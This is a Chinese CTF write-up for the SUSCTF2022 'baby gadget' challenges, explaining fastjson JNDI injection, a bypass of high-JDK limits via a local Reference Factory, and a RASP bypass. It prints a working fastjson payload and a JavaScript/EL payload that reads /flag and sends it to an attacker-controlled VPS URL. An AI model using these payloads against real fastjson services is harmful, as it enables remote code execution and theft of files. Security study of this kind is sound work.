[SUSCTF2022] baby gadget v1.0 & baby gadget v1.0's rrrevenge

知识点

fastjson JNDI注入
JNDI注入绕过高版本jdk限制
绕过RASP

解题

首先是一个登录页面,大概fuzz了一下发现是一个弱口令 admin@admin123登录进去之后就可以看到有一个fastjson的简介:image
还给了部分依赖,猜测预期解应该是想让选手通过审计给出的依赖自行挖掘出gadget来利用LDAP返回序列化数据,触发本地Gadget进行JNDI注入,但是好像师傅们都是直接使用RMI去利用本地类作为Reference Factory绕过了限制,打了一波非预期。
先贴上Fastjson1.2.48 JNDI注入的Payload:
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://VPS:PORT/Exploit"}
v1.0和v1.0's rrrevenge都可以用这个Payload打,或许是v1.0还有别的Payload可以打,不过在这里做法都一样。
先起了一个普通的JNDI注入exp打了一下发现没有打成,应该是高版本jdk了,同时还有RASP的拦截,没有办法直接RCE了:
image
然后就是需要研究如何绕过高版本jdk的限制了,参考上文说的,预期解是需要审计出一条gadget的,不过这里非预期更简单一些,我也菜得没有审到gadget,直接上非预期的解法。
参考这篇文章:https://paper.seebug.org/942/#classreference-factory
我们选择通过找到一个本地类作为恶意的工厂类,并利用这个本地的Factory类执行Java代码,所以可以用文末的这个工具:
https://github.com/kxcode/JNDI-Exploit-Bypass-Demo
clone下来之后还需要修改一下执行的代码以及一些配置,比赛的时候就是因为没有调好最后没有打通,赛后和师傅们交流之后人都傻了
首先需要修改HackerRMIRefServer.java文件,绑定RMI服务器的IP:

System.setProperty("java.rmi.server.hostname", "VPS_IP");

然后修改EL表达式中执行的代码,这里由于有RASP的限制因此直接RCE是存在困难的,所以需要更换思路,直接读取文件然后外带文件内容,这里使用了guoke师傅的payload,把原本RCE的payload修改为:

ref.add(new StringRefAddr("K", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.net.URL('http://VPS:PORT/?a='+new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()).openConnection().getInputStream();\")"));

image

然后就是需要修改Exploit.class中的Payload,直接把Payload部分修改为:

new java.net.URL('http://VPS:PORT/?a='+new java.io.BufferedReader(new java.io.FileReader('/flag')).readLine()).openConnection().getInputStream();

image

再然后用maven打包出来,运行起RMI服务:java -cp HackerRMIRefServer-all.jar HackerRMIRefServer 0.0.0.0 8088 1099,再另起一个终端去监听接收回显的端口。
还是利用上面的Payload:{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://VPS:PORT/Exploit"}
然后在输入框直接输入Payload,就可以获得Flag文件的内容了,两道题都是一样的打法:
image

image

posted @ 2022-03-01 01:57  Ye'sBlog  阅读(347)  评论(0编辑  收藏  举报